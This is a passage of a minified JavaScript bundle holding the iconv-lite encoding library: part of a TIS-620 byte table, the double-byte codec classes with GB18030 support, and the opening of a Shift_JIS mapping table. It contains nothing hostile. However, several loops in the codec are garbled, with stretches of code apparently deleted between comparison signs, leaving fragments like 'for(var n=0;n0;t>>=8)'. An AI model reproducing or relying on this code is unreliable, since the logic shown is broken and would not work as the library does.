FFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD"},tis620:{type:"_sbcs",chars:"\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\uFFFD\u0E01\u0E02\u0E03\u0E04\u0E05\u0E06\u0E07\u0E08\u0E09\u0E0A\u0E0B\u0E0C\u0E0D\u0E0E\u0E0F\u0E10\u0E11\u0E12\u0E13\u0E14\u0E15\u0E16\u0E17\u0E18\u0E19\u0E1A\u0E1B\u0E1C\u0E1D\u0E1E\u0E1F\u0E20\u0E21\u0E22\u0E23\u0E24\u0E25\u0E26\u0E27\u0E28\u0E29\u0E2A\u0E2B\u0E2C\u0E2D\u0E2E\u0E2F\u0E30\u0E31\u0E32\u0E33\u0E34\u0E35\u0E36\u0E37\u0E38\u0E39\u0E3A\uFFFD\uFFFD\uFFFD\uFFFD\u0E3F\u0E40\u0E41\u0E42\u0E43\u0E44\u0E45\u0E46\u0E47\u0E48\u0E49\u0E4A\u0E4B\u0E4C\u0E4D\u0E4E\u0E4F\u0E50\u0E51\u0E52\u0E53\u0E54\u0E55\u0E56\u0E57\u0E58\u0E59\u0E5A\u0E5B\uFFFD\uFFFD\uFFFD\uFFFD"}}});var cv=V(ov=>{"use strict";var ss=en().Buffer;ov._dbcs=ua;var Xt=-1,iv=-2,_r=-10,Gr=-1e3,ns=new Array(256),Pi=-1;for(ac=0;ac<256;ac++)ns[ac]=Xt;var ac;function ua(t,e){if(this.encodingName=t.encodingName,!t)throw new Error("DBCS codec is called without the data.");if(!t.table)throw new Error("Encoding '"+this.encodingName+"' has no data.");var r=t.table();this.decodeTables=[],this.decodeTables[0]=ns.slice(0),this.decodeTableSeq=[];for(var n=0;n0;t>>=8)e.push(t&255);e.length==0&&e.push(0);for(var r=this.decodeTables[0],n=e.length-1;n>0;n--){var a=r[e[n]];if(a==Xt)r[e[n]]=Gr-this.decodeTables.length,this.decodeTables.push(r=ns.slice(0));else if(a<=Gr)r=this.decodeTables[Gr-a];else throw new Error("Overwrite byte in "+this.encodingName+", addr: "+t.toString(16))}return r};ua.prototype._addDecodeChunk=function(t){var e=parseInt(t[0],16),r=this._getDecodeTrieNode(e);e=e&255;for(var n=1;n255)throw new Error("Incorrect chunk in "+this.encodingName+" at addr "+t[0]+": too long"+e)};ua.prototype._getEncodeBucket=function(t){var e=t>>8;return this.encodeTable[e]===void 0&&(this.encodeTable[e]=ns.slice(0)),this.encodeTable[e]};ua.prototype._setEncodeChar=function(t,e){var r=this._getEncodeBucket(t),n=t&255;r[n]<=_r?this.encodeTableSeq[_r-r[n]][Pi]=e:r[n]==Xt&&(r[n]=e)};ua.prototype._setEncodeSequence=function(t,e){var r=t[0],n=this._getEncodeBucket(r),a=r&255,s;n[a]<=_r?s=this.encodeTableSeq[_r-n[a]]:(s={},n[a]!==Xt&&(s[Pi]=n[a]),n[a]=_r-this.encodeTableSeq.length,this.encodeTableSeq.push(s));for(var i=1;i=0?this._setEncodeChar(s,i):s<=Gr?this._fillEncodeTable(Gr-s,i<<8,r):s<=_r&&this._setEncodeSequence(this.decodeTableSeq[_r-s],i))}};function nc(t,e){this.leadSurrogate=-1,this.seqObj=void 0,this.encodeTable=e.encodeTable,this.encodeTableSeq=e.encodeTableSeq,this.defaultCharSingleByte=e.defCharSB,this.gb18030=e.gb18030}nc.prototype.write=function(t){for(var e=ss.alloc(t.length*(this.gb18030?4:3)),r=this.leadSurrogate,n=this.seqObj,a=-1,s=0,i=0;;){if(a===-1){if(s==t.length)break;var o=t.charCodeAt(s++)}else{var o=a;a=-1}if(55296<=o&&o<57344)if(o<56320)if(r===-1){r=o;continue}else r=o,o=Xt;else r!==-1?(o=65536+(r-55296)*1024+(o-56320),r=-1):o=Xt;else r!==-1&&(a=o,o=Xt,r=-1);var c=Xt;if(n!==void 0&&o!=Xt){var u=n[o];if(typeof u=="object"){n=u;continue}else typeof u=="number"?c=u:u==null&&(u=n[Pi],u!==void 0&&(c=u,a=o));n=void 0}else if(o>=0){var l=this.encodeTable[o>>8];if(l!==void 0&&(c=l[o&255]),c<=_r){n=this.encodeTableSeq[_r-c];continue}if(c==Xt&&this.gb18030){var d=Od(this.gb18030.uChars,o);if(d!=-1){var c=this.gb18030.gbChars[d]+(o-this.gb18030.uChars[d]);e[i++]=129+Math.floor(c/12600),c=c%12600,e[i++]=48+Math.floor(c/1260),c=c%1260,e[i++]=129+Math.floor(c/10),c=c%10,e[i++]=48+c;continue}}}c===Xt&&(c=this.defaultCharSingleByte),c<256?e[i++]=c:c<65536?(e[i++]=c>>8,e[i++]=c&255):(e[i++]=c>>16,e[i++]=c>>8&255,e[i++]=c&255)}return this.seqObj=n,this.leadSurrogate=r,e.slice(0,i)};nc.prototype.end=function(){if(!(this.leadSurrogate===-1&&this.seqObj===void 0)){var t=ss.alloc(10),e=0;if(this.seqObj){var r=this.seqObj[Pi];r!==void 0&&(r<256?t[e++]=r:(t[e++]=r>>8,t[e++]=r&255)),this.seqObj=void 0}return this.leadSurrogate!==-1&&(t[e++]=this.defaultCharSingleByte,this.leadSurrogate=-1),t.slice(0,e)}};nc.prototype.findIdx=Od;function Pd(t,e){this.nodeIdx=0,this.prevBuf=ss.alloc(0),this.decodeTables=e.decodeTables,this.decodeTableSeq=e.decodeTableSeq,this.defaultCharUnicode=e.defaultCharUnicode,this.gb18030=e.gb18030}Pd.prototype.write=function(t){var e=ss.alloc(t.length*2),r=this.nodeIdx,n=this.prevBuf,a=this.prevBuf.length,s=-this.prevBuf.length,i;a>0&&(n=ss.concat([n,t.slice(0,10)]));for(var o=0,c=0;o=0?t[o]:n[o+a],i=this.decodeTables[r][u];if(!(i>=0))if(i===Xt)o=s,i=this.defaultCharUnicode.charCodeAt(0);else if(i===iv){var l=s>=0?t.slice(s,o+1):n.slice(s+a,o+1+a),d=(l[0]-129)*12600+(l[1]-48)*1260+(l[2]-129)*10+(l[3]-48),f=Od(this.gb18030.gbChars,d);i=this.gb18030.uChars[f]+d-this.gb18030.gbChars[f]}else if(i<=Gr){r=Gr-i;continue}else if(i<=_r){for(var m=this.decodeTableSeq[_r-i],g=0;g>8;i=m[m.length-1]}else throw new Error("iconv-lite internal error: invalid decoding table value "+i+" at "+r+"/"+u);if(i>65535){i-=65536;var b=55296+Math.floor(i/1024);e[c++]=b&255,e[c++]=b>>8,i=56320+i%1024}e[c++]=i&255,e[c++]=i>>8,r=0,s=o+1}return this.nodeIdx=r,this.prevBuf=s>=0?t.slice(s):n.slice(s+a),e.slice(0,c).toString("ucs2")};Pd.prototype.end=function(){for(var t="";this.prevBuf.length>0;){t+=this.defaultCharUnicode;var e=this.prevBuf.slice(1);this.prevBuf=ss.alloc(0),this.nodeIdx=0,e.length>0&&(t+=this.write(e))}return this.nodeIdx=0,t};function Od(t,e){if(t[0]>e)return-1;for(var r=0,n=t.length;r{uP.exports=[["0","\0",128],["a1","\uFF61",62],["8140","\u3000\u3001\u3002\uFF0C\uFF0E\u30FB\uFF1A\uFF1B\uFF1F\uFF01\u309B\u309C\xB4\uFF40\xA8\uFF3E\uFFE3\uFF3F\u30FD\u30FE\u309D\u309E\u3003\u4EDD\u3005\u3006\u3007\u30FC\u2015\u2010\uFF0F\uFF3C\uFF5E\u2225\uFF5C\u2026\u2025\u2018\u2019\u201C\u201D\uFF08\uFF09\u3014\u3015\uFF3B\uFF3D\uFF5B\uFF5D\u3008",9,"\uFF0B\uFF0D\xB1\xD7"],["8180","\xF7\uFF1D\u2260\uFF1C\uFF1E\u2266\u2267\u221E\u2234\u2642\u2640\xB0\u2032\u2033\u2103\uFFE5\uFF04\uFFE0\uFFE1\uFF05\uFF03\uFF06\uFF0A\uFF20\xA7\u2606\u2605\u25CB\u25CF\u25CE\u25C7\u25C6\u25A1\u25A0\u25B3\u25B2\u25BD\u25BC\u203B\u3012\u2192\u2190\u2191\u2193\u3013"],["81b8","\u2208\u220B\u2286\u2287\u2282\u2283\u222A\u2229"],["81c8","\u2227\u2228\uFFE2\u21D2\u21D4\u2200\u2203"],["81da","\u2220\u22A5\u2312\u2202\u2207\u2261\u2252\u226A\u226B\u221A\u223D\u221D\u2235\u222B\u222C"],["81f0","\u212B\u2030\u266F\u266D\u266A\u2020\u2021\xB6"],["81fc","\u25EF"],["824f","\uFF10",9],["8260","\uFF21",25],["8281","\uFF41",25],["829f","\u3041",82],["8340","\u30A1",62],["8380","\u30E0",22],["839f","\u0391",16,"\u03A3",6],["83bf","\u03B1",16,"\u03C3",6],["8440","\u0410",5,"\u0401\u0416",25],["8470","\u0430",5,"\u0451\u0436",7],["8480","\u043E",17],["849f","\u2500\u2502\u250C\u2510\u2518\u2514\u251C\u252C\u2524\u2534\u253C\u2501\u2503\u250F\u2513\u251B\u2517\u2523\u2533\u252B\u253B\u254B\u2520\u252F\u2528\u2537\u253F\u251D\u2530\u2525\u2538\u2542"],["8740","\u2460",19,"\u2160",9],["875f","\u3349\u3314\u3322\u334D\u3318\u3327\u3303\u3336\u3351\u3357\u330D\u3326\u3323\u332B\u334A\u333B\u339C\u339D\u339E\u338E\u338F\u33C4\u33A1"],["877e","\u337B"],["8780","\u301D\u301F\u2116\u33CD\u2121\u32A4",4,"\u3231\u3232\u3239\u337E\u337D\u337C\u2252\u2261\u222B\u222E\u2211\u221A\u22A5\u2220\u221F\u22BF\u2235\u2229\u222A"],["889f","\u4E9C\u5516\u5A03\u963F\u54C0\u611B\u6328\u59F6\u9022\u8475\u831C\u7A50\u60AA\u63E1\u6E25\u65ED\u8466\u82A6\u9BF5\u6893\u5727\u65A1\u6271\u5B9B\u59D0\u867B\u98F4\u7D62\u7DBE\u9B8E\u6216\u7C9F\u88B7\u5B89\u5EB5\u6309\u6697\u6848\u95C7\u978D\u674F\u4EE5\u4F0A\u4F4D\u4F9D\u5049\u56F2\u5937\u59D4\u5A01\u5C09\u60DF\u610F\u6170\u6613\u6905\u70BA\u754F\u7570\u79FB\u7DAD\u7DEF\u80C3\u840E\u8863\u8B02\u9055\u907A\u533B\u4E95\u4EA5\u57DF\u80B2\u90C1\u78EF\u4E00\u58F1\u6EA2\u9038\u7A32\u8328\u828B\u9C2F\u5141\u5370\u54BD\u54E1\u56E0\u59FB\u5F15\u98F2\u6DEB\u80E4\u852D"],["8940","\u9662\u9670\u96A0\u97FB\u540B\u53F3\u5B87\u70CF\u7FBD\u8FC2\u96E8\u536F\u9D5C\u7ABA\u4E11\u7893\u81FC\u6E26\u5618\u5504\u6B1D\u851A\u9C3B\u59E5\u53A9\u6D66\u74DC\u958F\u5642\u4E91\u904B\u96F2\u834F\u990C\u53E1\u55B6\u5B30\u5F71\u6620\u66F3\u6804\u6C38\u6CF3\u6D29\u745B\u76C8\u7A4E\u9834\u82F1\u885B\u8A60\u92ED\u6DB2\u75AB\u76CA\u99C5\u60A6\u8B01\u8D8A\u95B2\u698E\u53AD\u5186"],["8980","\u5712\u5830\u5944\u5BB4\u5EF6\u6028\u63A9\u63F4\u6CBF\u6F14\u708E\u7114\u7159\u71D5\u733F\u7E01\u8276\u82D1\u8597\u9060\u925B\u9D1B\u5869\u65BC\u6C5A\u7525\u51F9\u592E\u5965\u5F80\u5FDC\u62BC\u65FA\u6A2A\u6B27\u6BB4\u738B\u7FC1\u8956\u9D2C\u9D0E\u9EC4\u5CA1\u6C96\u837B\u5104\u5C4B\u61B6\u81C6\u6876\u7261\u4E59\u4FFA\u5378\u6069\u6E29\u7A4F\u97F3\u4E0B\u5316\u4EEE\u4F55\u4F3D\u4FA1\u4F73\u52A0\u53EF\u5609\u590F\u5AC1\u5BB6\u5BE1\u79D1\u6687\u679C\u67B6\u6B4C\u6CB3\u706B\u73C2\u798D\u79BE\u7A3C\u7B87\u82B1\u82DB\u8304\u8377\u83EF\u83D3\u8766\u8AB2\u5629\u8CA8\u8FE6\u904E\u971E\u868A\u4FC4\u5CE8\u6211\u7259\u753B\u81E5\u82BD\u86FE\u8CC0\u96C5\u9913\u99D5\u4ECB\u4F1A\u89E3\u56DE\u584A\u58CA\u5EFB\u5FEB\u602A\u6094\u6062\u61D0\u6212\u62D0\u6539"],["8a40","\u9B41\u6666\u68B0\u6D77\u7070\u754C\u7686\u7D75\u82A5\u87F9\u958B\u968E\u8C9D\u51F1\u52BE\u5916\u54B3\u5BB3\u5D16\u6168\u6982\u6DAF\u788D\u84CB\u8857\u8A72\u93A7\u9AB8\u6D6C\u99A8\u86D9\u57A3\u67FF\u86CE\u920E\u5283\u5687\u5404\u5ED3\u62E1\u64B9\u683C\u6838\u6BBB\u7372\u78BA\u7A6B\u899A\u89D2\u8D6B\u8F03\u90ED\u95A3\u9694\u9769\u5B66\u5CB3\u697D\u984D\u984E\u639B\u7B20\u6A2B"],["8a80","\u6A7F\u68B6\u9C0D\u6F5F\u5272\u559D\u6070\u62EC\u6D3B\u6E07\u6ED1\u845B\u8910\u8F44\u4E14\u9C39\u53F6\u691B\u6A3A\u9784\u682A\u515C\u7AC3\u84B2\u91DC\u938C\u565B\u9D28\u6822\u8305\u8431\u7CA5\u5208\u82C5\u74E6\u4E7E\u4F83\u51A0\u5BD2\u520A\u52D8\u52E7\u5DFB\u559A\u582A\u59E6\u5B8C\u5B98\u5BDB\u5E72\u5E79\u60A3\u611F\u6163\u61BE\u63DB\u6562\u67D1\u6853\u68FA\u6B3E\u6B53\u6C57\u6F22\u6F97\u6F45\u74B0\u7518\u76E3\u770B\u7AFF\u7BA1\u7C21\u7DE9\u7F36\u7FF0\u809D\u8266\u839E\u89B3\u8ACC\u8CAB\u9084\u9451\u9593\u9591\u95A2\u9665\u97D3\u9928\u8218\u4E38\u542B\u5CB8\u5DCC\u73A9\u764C\u773C\u5CA9\u7FEB\u8D0B\u96C1\u9811\u9854\u9858\u4F01\u4F0E\u5371\u559C\u5668\u57FA\u5947\u5B09\u5BC4\u5C90\u5E0C\u5E7E\u5FCC\u63EE\u673A\u65D7\u65E2\u671F\u68CB\u68C4"],["8b40","\u6A5F\u5E30\u6BC5\u6C17\u6C7D\u757F\u7948\u5B63\u7A00\u7D00\u5FBD\u898F\u8A18\u8CB4\u8D77\u8ECC\u8F1D\u98E2\u9A0E\u9B3C\u4E80\u507D\u5100\u5993\u5B9C\u622F\u6280\u64EC\u6B3A\u72A0\u7591\u7947\u7FA9\u87FB\u8ABC\u8B70\u63AC\u83CA\u97A0\u5409\u5403\u55AB\u6854\u6A58\u8A70\u7827\u6775\u9ECD\u5374\u5BA2\u811A\u8650\u9006\u4E18\u4E45\u4EC7\u4F11\u53CA\u5438\u5BAE\u5F13\u6025\u6551"],["8b80","\u673D\u6C42\u6C72\u6CE3\u7078\u7403\u7A76\u7AAE\u7B08\u7D1A\u7CFE\u7D66\u65E7\u725B\u53BB\u5C45\u5DE8\u62D2\u62E0\u6319\u6E20\u865A\u8A31\u8DDD\u92F8\u6F01\u79A6\u9B5A\u4EA8\u4EAB\u4EAC\u4F9B\u4FA0\u50D1\u5147\u7AF6\u5171\u51F6\u5354\u5321\u537F\u53EB\u55AC\u5883\u5CE1\u5F37\u5F4A\u602F\u6050\u606D\u631F\u6559\u6A4B\u6CC1\u72C2\u72ED\u77EF\u80F8\u8105\u8208\u854E\u90F7\u93E1\u97FF\u9957\u9A5A\u4EF0\u51DD\u5C2D\u6681\u696D\u5C40\u66F2\u6975\u7389\u6850\u7C81\u50C5\u52E4\u5747\u5DFE\u9326\u65A4\u6B23\u6B3D\u7434\u7981\u79BD\u7B4B\u7DCA\u82B9\u83CC\u887F\u895F\u8B39\u8FD1\u91D1\u541F\u9280\u4E5D\u5036\u53E5\u533A\u72D7\u7396\u77E9\u82E6\u8EAF\u99C6\u99C8\u99D2\u5177\u611A\u865E\u55B0\u7A7A\u5076\u5BD3\u9047\u9685\u4E32\u6ADB\u91E7\u5C51\u5C48"],["8c40","\u6398\u7A9F\u6C93\u9774\u8F61\u7AAA\u718A\u9688\u7C82\u6817\u7E70\u6851\u936C\u52F2\u541B\u85AB\u8A13\u7FA4\u8ECD\u90E1\u5366\u8888\u7941\u4FC2\u50BE\u5211\u5144\u5553\u572D\u73EA\u578B\u5951\u5F62\u5F84\u6075\u6176\u6167\u61A9\u63B2\u643A\u656C\u666F\u6842\u6E13\u7566\u7A3D\u7CFB\u7D4C\u7D99\u7E4B\u7F6B\u830E\u834A\u86CD\u8A08\u8A63\u8B66\u8EFD\u981A\u9D8F\u82B8\u8FCE\u9BE8"],["8c80","\u5287\u621F\u6483\u6FC0\u9699\u6841\u5091\u6B20\u6C7A\u6F54\u7A74\u7D50\u8840\u8A23\u6708\u4EF6\u5039\u5026\u5065\u517C\u5238\u5263\u55A7\u570F\u5805\u5ACC\u5EFA\u61B2\u61F8\u62F3\u6372\u691C\u6A29\u727D\u72AC\u732E\u7814\u786F\u7D79\u770C\u80A9\u898B\u8B19\u8CE2\u8ED2\u9063\u9375\u967A\u9855\u9A13\u9E78\u5143\u539F\u53B3\u5E7B\u5F26\u6E1B\u6E90\u7384\u73FE\u7D43\u8237\u8A00\u8AFA\u9650\u4E4E\u500B\u53E4\u547C\u56FA\u59D1\u5B64\u5DF1\u5EAB\u5F27\u6238\u6545\u67AF\u6E56\u72D0\u7CCA\u88B4\u80A1\u80E1\u83F0\u864E\u8A87\u8DE8\u9237\u96C7\u9867\u9F13\u4E94\u4E92\u4F0D\u5348\u5449\u543E\u5A2F\u5F8C\u5FA1\u609F\u68A7\u6A8E\u745A\u7881\u8A9E\u8AA4\u8B77\u9190\u4E5E\u9BC9\u4EA4\u4F7C\u4FAF\u5019\u5016\u5149\u516C\u529F\u52B9\u52FE\u539A\u53E3\u5411"],["8d40","\u540E\u5589\u5751\u57A2\u597D\u5B54\u5B5D\u5B8F\u5DE5\u5DE7\u5DF7\u5E78\u5E83\u5E9A\u5EB7\u5F18\u6052\u614C\u6297\u62D8\u63A7\u653B\u6602\u6643\u66F4\u676D\u6821\u6897\u69CB\u6C5F\u6D2A\u6D69\u6E2F\u6E9D\u7532\u7687\u786C\u7A3F\u7CE0\u7D05\u7D18\u7D5E\u7DB1\u8015\u8003\u80AF\u80B1\u8154\u818F\u822A\u8352\u884C\u8861\u8B1B\u8CA2\u8CFC\u90CA\u9175\u9271\u783F\u92FC\u95A4\u964D"],["8d80","\u9805\u9999\u9AD8\u9D3B\u525B\u52AB\u53F7\u5408\u58D5\u62F7\u6FE0\u8C6A\u8F5F\u9EB9\u514B\u523B\u544A\u56FD\u7A40\u9177\u9D60\u9ED2\u7344\u6F09\u8170\u7511\u5FFD\u60DA\u9AA8\u72DB\u8FBC\u6B64\u9803\u4ECA\u56F0\u5764\u58BE\u5A5A\u6068\u61C7\u660F\u6606\u6839\u68B1\u6DF7\u75D5\u7D3A\u826E\u9B42\u4E9B\u4F50\u53C9\u5506\u5D6F\u5DE6\u5DEE\u67FB\u6C99\u7473\u7802\u8A50\u9396\u88DF\u5750\u5EA7\u632B\u50B5\u50AC\u518D\u6700\u54C9\u585E\u59BB\u5BB0\u5F69\u624D\u63A1\u683D\u6B73\u6E08\u707D\u91C7\u7280\u7815\u7826\u796D\u658E\u7D30\u83DC\u88C1\u8F09\u969B\u5264\u5728\u6750\u7F6A\u8CA1\u51B4\u5742\u962A\u583A\u698A\u80B4\u54B2\u5D0E\u57FC\u7895\u9DFA\u4F5C\u524A\u548B\u643E\u6628\u6714\u67F5\u7A84\u7B56\u7D22\u932F\u685C\u9BAD\u7B39\u5319\u518A\u5237"],["8e40","\u5BDF\u62F6\u64AE\u64E6\u672D\u6BBA\u85A9\u96D1\u7690\u9BD6\u634C\u9306\u9BAB\u76BF\u6652\u4E09\u5098\u53C2\u5C71\u60E8\u6492\u6563\u685F\u71E6\u73CA\u7523\u7B97\u7E82\u8695\u8B83\u8CDB\u9178\u9910\u65AC\u66AB\u6B8B\u4ED5\u4ED4\u4F3A\u4F7F\u523A\u53F8\u53F2\u55E3\u56DB\u58EB\u59CB\u59C9\u59FF\u5B50\u5C4D\u5E02\u5E2B\u5FD7\u601D\u6307\u652F\u5B5C\u65AF\u65BD\u65E8\u679D\u6B62"],["8e80","\u6B7B\u6C0F\u7345\u7949\u79C1\u7CF8\u7D19\u7D2B\u80A2\u8102\u81F3\u8996\u8A5E\u8A69\u8A66\u8A8C\u8AEE\u8CC7\u8CDC\u96CC\u98FC\u6B6F\u4E8B\u4F3C\u4F8D\u5150\u5B57\u5BFA\u6148\u6301\u6642\u6B21\u6ECB\u6CBB\u723E\u74BD\u75D4\u78C1\u793A\u800C\u8033\u81EA\u8494\u8F9E\u6C50\u9E7F\u5F0F\u8B58\u9D2B\u7AFA\u8EF8\u5B8D\u96EB\u4E03\u53F1\u57F7\u5931\u5AC9\u5BA4\u6089\u6E7F\u6F06\u75BE\u8CEA\u5B9F\u8500\u7BE0\u5072\u67F4\u829D\u5C61\u854A\u7E1E\u820E\u5199\u5C04\u6368\u8D66\u659C\u716E\u793E\u7D17\u8005\u8B1D\u8ECA\u906E\u86C7\u90AA\u501F\u52FA\u5C3A\u6753\u707C\u7235\u914C\u91C8\u932B\u82E5\u5BC2\u5F31\u60F9\u4E3B\u53D6\u5B88\u624B\u6731\u6B8A\u72E9\u73E0\u7A2E\u816B\u8DA3\u9152\u9996\u5112\u53D7\u546A\u5BFF\u6388\u6A39\u7DAC\u9700\u56DA\u53CE\u5468"],["8f40","\u5B97\u5C31\u5DDE\u4FEE\u6101\u62FE\u6D32\u79C0\u79CB\u7D42\u7E4D\u7FD2\u81ED\u821F\u8490\u8846\u8972\u8B90\u8E74\u8F2F\u9031\u914B\u916C\u96C6\u919C\u4EC0\u4F4F\u5145\u5341\u5F93\u620E\u67D4\u6C41\u6E0B\u7363\u7E26\u91CD\u9283\u53D4\u5919\u5BBF\u6DD1\u795D\u7E2E\u7C9B\u587E\u719F\u51FA\u8853\u8FF0\u4FCA\u5CFB\u6625\u77AC\u7AE3\u821C\u99FF\u51C6\u5FAA\u65EC\u696F\u6B89\u6DF3"],["8f80","\u6E96\u6F64\u76FE\u7D14\u5DE1\u9075\u9187\u9806\u51E6\u521D\u6240\u6691\u66D9\u6E1A\u5EB6\u7DD2\u7F72\u66F8\u85AF\u85F7\u8AF8\u52A9\u53D9\u5973\u5E8F\u5F90\u6055\u92E4\u9664\u50B7\u511F\u52DD\u5320\u5347\u53EC\u54E8\u5546\u5531\u5617\u5968\u59BE\u5A3C\u5BB5\u5C06\u5C0F\u5C11\u5C1A\u5E84\u5E8A\u5EE0\u5F70\u627F\u6284\u62DB\u638C\u6377\u6607\u660C\u662D\u6676\u677E\u68A2\u6A1F\u6A35\u6CBC\u6D88\u6E09\u6E58\u713C\u7126\u7167\u75C7\u7701\u785D\u7901\u7965\u79F0\u7AE0\u7B11\u7CA7\u7D39\u8096\u83D6\u848B\u8549\u885D\u88F3\u8A1F\u8A3C\u8A54\u8A73\u8C61\u8CDE\u91A4\u9266\u937E\u9418\u969C\u9798\u4E0A\u4E08\u4E1E\u4E57\u5197\u5270\u57CE\u5834\u58CC\u5B22\u5E38\u60C5\u64FE\u6761\u6756\u6D44\u72B6\u7573\u7A63\u84B8\u8B72\u91B8\u9320\u5631\u57F4\u98FE"],["9040","\u62ED\u690D\u6B96\u71ED\u7E54\u8077\u8272\u89E6\u98DF\u8755\u8FB1\u5C3B\u4F38\u4FE1\u4FB5\u5507\u5A20\u5BDD\u5BE9\u5FC3\u614E\u632F\u65B0\u664B\u68EE\u699B\u6D78\u6DF1\u7533\u75B9\u771F\u795E\u79E6\u7D33\u81E3\u82AF\u85AA\u89AA\u8A3A\u8EAB\u8F9B\u9032\u91DD\u9707\u4EBA\u4EC1\u5203\u5875\u58EC\u5C0B\u751A\u5C3D\u814E\u8A0A\u8FC5\u9663\u976D\u7B25\u8ACF\u9808\u9162\u56F3\u53A8"],["9080","\u9017\u5439\u5782\u5E25\u63A8\u6C34\u708A\u7761\u7C8B\u7FE0\u8870\u9042\u9154\u9310\u9318\u968F\u745E\u9AC4\u5D07\u5D69\u6570\u67A2\u8DA8\u96DB\u636E\u6749\u6919\u83C5\u9817\u96C0\u88FE\u6F84\u647A\u5BF8\u4E16\u702C\u755D\u662F\u51C4\u5236\u52E2\u59D3\u5F81\u6027\u6210\u653F\u6574\u661F\u6674\u68F2\u6816\u6B63\u6E05\u7272\u751F\u76DB\u7CBE\u8056\u58F0\u88FD\u897F\u8AA0\u8A93\u8ACB\u901D\u9192\u9752\u9759\u6589\u7A0E\u8106\u96BB\u5E2D\u60DC\u621A\u65A5\u6614\u6790\u77F3\u7A4D\u7C4D\u7E3E\u810A\u8CAC\u8D64\u8DE1\u8E5F\u78A9\u5207\u62D9\u63A5\u6442\u6298\u8A2D\u7A83\u7BC0\u8AAC\u96EA\u7D76\u820C\u8749\u4ED9\u5148\u5343\u5360\u5BA3\u5C02\u5C16\u5DDD\u6226\u6247\u64B0\u6813\u6834\u6CC9\u6D45\u6D17\u67D3\u6F5C\u714E\u717D\u65CB\u7A7F\u7BAD\u7DDA"],["9140","\u7E4A\u7FA8\u817A\u821B\u8239\u85A6\u8A6E\u8CCE\u8DF5\u9078\u9077\u92AD\u9291\u9583\u9BAE\u524D\u5584\u6F38\u7136\u5168\u7985\u7E55\u81B3\u7CCE\u564C\u5851\u5CA8\u63AA\u66FE\u66FD\u695A\u72D9\u758F\u758E\u790E\u7956\u79DF\u7C97\u7D20\u7D44\u8607\u8A34\u963B\u9061\u9F20\u50E7\u5275\u53CC\u53E2\u5009\u55AA\u58EE\u594F\u723D\u5B8B\u5C64\u531D\u60E3\u60F3\u635C\u6383\u633F\u63BB"],["9180","\u64CD\u65E9\u66F9\u5DE3\u69CD\u69FD\u6F15\u71E5\u4E89\u75E9\u76F8\u7A93\u7CDF\u7DCF\u7D9C\u8061\u8349\u8358\u846C\u84BC\u85FB\u88C5\u8D70\u9001\u906D\u9397\u971C\u9A12\u50CF\u5897\u618E\u81D3\u8535\u8D08\u9020\u4FC3\u5074\u5247\u5373\u606F\u6349\u675F\u6E2C\u8DB3\u901F\u4FD7\u5C5E\u8CCA\u65CF\u7D9A\u5352\u8896\u5176\u63C3\u5B58\u5B6B\u5C0A\u640D\u6751\u905C\u4ED6\u591A\u592A\u6C70\u8A51\u553E\u5815\u59A5\u60F0\u6253\u67C1\u8235\u6955\u9640\u99C4\u9A28\u4F53\u5806\u5BFE\u8010\u5CB1\u5E2F\u5F85\u6020\u614B\u6234\u66FF\u6CF0\u6EDE\u80CE\u817F\u82D4\u888B\u8CB8\u9000\u902E\u968A\u9EDB\u9BDB\u4EE3\u53F0\u5927\u7B2C\u918D\u984C\u9DF9\u6EDD\u7027\u5353\u5544\u5B85\u6258\u629E\u62D3\u6CA2\u6FEF\u7422\u8A17\u9438\u6FC1\u8AFE\u8338\u51E7\u86F8\u53EA"],["9240","\u53E9\u4F46\u9054\u8FB0\u596A\u8131\u5DFD\u7AEA\u8FBF\u68DA\u8C37\u72F8\u9C48\u6A3D\u8AB0\u4E39\u5358\u5606\u5766\u62C5\u63A2\u65E6\u6B4E\u6DE1\u6E5B\u70AD\u77ED\u7AEF\u7BAA\u7DBB\u803D\u80C6\u86CB\u8A95\u935B\u56E3\u58C7\u5F3E\u65AD\u6696\u6A80\u6BB5\u7537\u8AC7\u5024\u77E5\u5730\u5F1B\u6065\u667A\u6C60\u75F4\u7A1A\u7F6E\u81F4\u8718\u9045\u99B3\u7BC9\u755C\u7AF9\u7B51\u84C4"],["9280","\u9010\u79E9\u7A92\u8336\u5AE1\u7740\u4E2D\u4EF2\u5B99\u5FE0\u62BD\u663C\u67F1\u6CE8\u866B\u8877\u8A3B\u914E\u92F3\u99D0\u6A17\u7026\u732A\u82E7\u8457\u8CAF\u4E01\u5146\u51CB\u558B\u5BF5\u5E16\u5E33\u5E81\u5F14\u5F35\u5F6B\u5FB4\u61F2\u6311\u66A2\u671D\u6F6E\u7252\u753A\u773A\u8074\u8139\u8178\u8776\u8ABF\u8ADC\u8D85\u8DF3\u929A\u9577\u9802\u9CE5\u52C5\u6357\u76F4\u6715\u6C88\u73CD\u8CC3\u93AE\u9673\u6D25\u589C\u690E\u69CC\u8FFD\u939A\u75DB\u901A\u585A\u6802\u63B4\u69FB\u4F43\u6F2C\u67D8\u8FBB\u8526\u7DB4\u9354\u693F\u6F70\u576A\u58F7\u5B2C\u7D2C\u722A\u540A\u91E3\u9DB4\u4EAD\u4F4E\u505C\u5075\u5243\u8C9E\u5448\u5824\u5B9A\u5E1D\u5E95\u5EAD\u5EF7\u5F1F\u608C\u62B5\u633A\u63D0\u68AF\u6C40\u7887\u798E\u7A0B\u7DE0\u8247\u8A02\u8AE6\u8E44\u9013"],["9340","\u90B8\u912D\u91D8\u9F0E\u6CE5\u6458\u64E2\u6575\u6EF4\u7684\u7B1B\u9069\u93D1\u6EBA\u54F2\u5FB9\u64A4\u8F4D\u8FED\u9244\u5178\u586B\u5929\u5C55\u5E97\u6DFB\u7E8F\u751C\u8CBC\u8EE2\u985B\u70B9\u4F1D\u6BBF\u6FB1\u7530\u96FB\u514E\u5410\u5835\u5857\u59AC\u5C60\u5F92\u6597\u675C\u6E21\u767B\u83DF\u8CED\u9014\u90FD\u934D\u7825\u783A\u52AA\u5EA6\u571F\u5974\u6012\u5012\u515A\u51AC"],["9380","\u51CD\u5200\u5510\u5854\u5858\u5957\u5B95\u5CF6\u5D8B\u60BC\u6295\u642D\u6771\u6843\u68BC\u